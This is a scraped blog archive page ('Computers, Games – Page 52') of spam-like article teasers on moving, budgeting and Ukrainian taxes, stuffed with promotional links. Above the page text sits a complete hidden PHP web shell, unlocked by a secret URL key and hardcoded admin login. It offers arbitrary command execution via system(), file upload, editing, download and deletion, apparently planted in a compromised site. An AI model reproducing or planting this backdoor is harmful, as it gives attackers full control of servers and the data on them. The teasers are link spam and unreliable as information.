if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 52 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Renting vs Buying: Making the Smart Financial Decision

    The decision to rent or buy a home is one of the most significant financial choices individuals and families face. Each option presents unique advantages and disadvantages, and https://smartmovinghome.com/ the right choice often depends on personal circumstances, market conditions, and long-term goals. This report examines the financial implications of renting versus buying to help potential…

    Click or not…

  • How to Evaluate Business Service Providers: A Checklist

    Evaluating business service providers is crucial for organizations aiming to enhance efficiency, reduce costs, and businessrelocationdigest.com improve service quality. A thorough assessment ensures that the selected provider aligns with the company’s goals and values. Below is a comprehensive checklist to guide businesses in evaluating potential service providers effectively. Define Your Needs and Objectives: Before starting…

    Click or not…

  • Гід по податкових пільгах для фізичних осіб у 2026 році

    У 2026 році в Україні продовжують діяти різноманітні податкові пільги для фізичних осіб, які можуть суттєво полегшити фінансовий тягар громадян. Цей гід має на меті ознайомити читачів з основними податковими пільгами, https://capitaljournal.net.ua/ їх умовами та способами отримання. По-перше, варто зазначити, що податкові пільги для фізичних осіб в Україні поділяються на кілька основних категорій: пільги для…

    Click or not…

  • Бюджетний ремонт: оновлюємо інтер’єр без значних витрат

    Бюджетний ремонт – це чудова можливість оновити інтер’єр вашого житла без значних фінансових витрат. З правильним підходом і творчим мисленням можна досягти вражаючих результатів, не порушуючи при цьому свій бюджет. У цій статті ми розглянемо кілька ефективних стратегій, estatehub.com.ua які допоможуть вам оновити ваш простір. Перш ніж почати, варто визначити, які саме зміни ви хочете…

    Click or not…

  • Підлога у вашому домі: види, переваги та монтаж

    У сучасному будівництві та ремонті важливу роль відіграє вибір підлоги. Вона не лише впливає на естетику приміщення, але й на комфорт, теплоізоляцію та загальну атмосферу в домі. У цій статті ми розглянемо основні види підлогових покриттів, їх переваги, https://remontlab.in.ua а також етапи монтажу. Види підлогових покриттів Дерев’яна підлога: Це класичний варіант, який завжди залишається в…

    Click or not…

  • Психологія краси: як розвинути впевненість у собі

    Психологія краси – це складна і багатогранна тема, що охоплює не лише естетичні аспекти, але й глибокі психологічні механізми, які впливають на наше самосприйняття та впевненість у собі. У сучасному світі, де стандарти краси часто нав’язуються медіа та соціальними мережами, важливо зрозуміти, https://styleguide.in.ua як формуються ці уявлення і як ми можемо розвинути впевненість у собі,…

    Click or not…

  • Порівняння податкових режимів для IT-сектору та креативних індустрій

    В Україні податкові режими для IT-сектору та креативних індустрій мають свої особливості, які впливають на розвиток цих галузей. З метою стимулювання інновацій та креативності, https://marketinsight.com.ua держава запровадила різні податкові механізми, які варто порівняти для кращого розуміння їх впливу на бізнес. IT-сектор в Україні користується спеціальним податковим режимом, відомим як “податок на виведений капітал”. Цей режим…

    Click or not…

  • How to Budget for a Nationwide Corporate Relocation

    Relocating a corporate office across the country is a complex process that requires meticulous planning and https://relocationacrossamerica.com budgeting. A well-structured budget not only ensures that the relocation is executed smoothly but also minimizes unexpected costs. Here’s a comprehensive guide on how to effectively budget for a nationwide corporate relocation. 1. Assess the Current Situation Before…

    Click or not…

  • Moving with Kids: Helping Them Adjust to a New School

    Relocating to a new city or town can be an exciting adventure for families, but it often presents unique challenges, especially for children who must adjust to a new school environment. As parents, understanding how to support kids through this transition is crucial for their emotional and https://coloradospringsmoverss.com academic well-being. This report outlines effective strategies…

    Click or not…

  • Moving During Peak Season: How to Book Early and Save

    Moving during peak season can be a daunting task, especially for those who are unprepared. The peak moving season typically runs from late spring to early fall, with June, July, and August being the busiest months. During this time, demand for https://movingservicesamerica.com moving services skyrockets, leading to higher prices and limited availability. However, with careful…

    Click or not…